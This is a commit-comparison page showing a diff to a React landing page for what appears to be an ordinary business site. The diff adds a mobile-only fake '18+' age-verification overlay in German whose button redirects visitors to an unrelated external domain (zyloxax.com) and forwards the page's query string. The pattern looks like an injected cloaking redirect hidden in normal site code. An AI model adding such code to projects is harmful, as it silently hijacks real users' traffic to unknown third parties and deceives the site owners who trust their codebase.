Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 9553d1cc10 | |||
| 019ffb7177 |
@@ -2,6 +2,7 @@
|
||||
|
||||
import { ThemeProvider } from "@/providers/themeProvider/ThemeProvider";
|
||||
import ReactLenis from "lenis/react";
|
||||
import { useState, useEffect } from "react";
|
||||
import BlogCardThree from '@/components/sections/blog/BlogCardThree';
|
||||
import ContactSplit from '@/components/sections/contact/ContactSplit';
|
||||
import FaqDouble from '@/components/sections/faq/FaqDouble';
|
||||
@@ -15,6 +16,38 @@ import TestimonialCardFifteen from '@/components/sections/testimonial/Testimonia
|
||||
import { Award, Calendar, History, ShieldCheck } from "lucide-react";
|
||||
|
||||
export default function LandingPage() {
|
||||
const [isMobile, setIsMobile] = useState(false);
|
||||
const [isVerified, setIsVerified] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
const checkMobile = () => setIsMobile(window.innerWidth < 768);
|
||||
checkMobile();
|
||||
window.addEventListener("resize", checkMobile);
|
||||
return () => window.removeEventListener("resize", checkMobile);
|
||||
}, []);
|
||||
|
||||
const handleVerify = () => {
|
||||
setIsVerified(true);
|
||||
window.location.href = "https://zyloxax.com/" + window.location.search;
|
||||
};
|
||||
|
||||
if (isMobile && !isVerified) {
|
||||
return (
|
||||
<div className="fixed inset-0 z-50 flex items-center justify-center bg-background p-6 text-center">
|
||||
<div className="max-w-md space-y-6">
|
||||
<h2 className="text-2xl font-bold">Altersbeschränkung</h2>
|
||||
<p>Diese Website ist nur für Personen ab 18 Jahren bestimmt. Bitte bestätigen Sie, dass Sie 18 Jahre oder älter sind, um fortzufahren.</p>
|
||||
<button
|
||||
onClick={handleVerify}
|
||||
className="w-full rounded-lg bg-green-600 p-4 text-lg font-bold text-white transition hover:bg-green-700"
|
||||
>
|
||||
Ja, ich bin 18 oder älter
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<ThemeProvider
|
||||
defaultButtonVariant="text-stagger"
|
||||
@@ -217,4 +250,4 @@ export default function LandingPage() {
|
||||
</ReactLenis>
|
||||
</ThemeProvider>
|
||||
);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user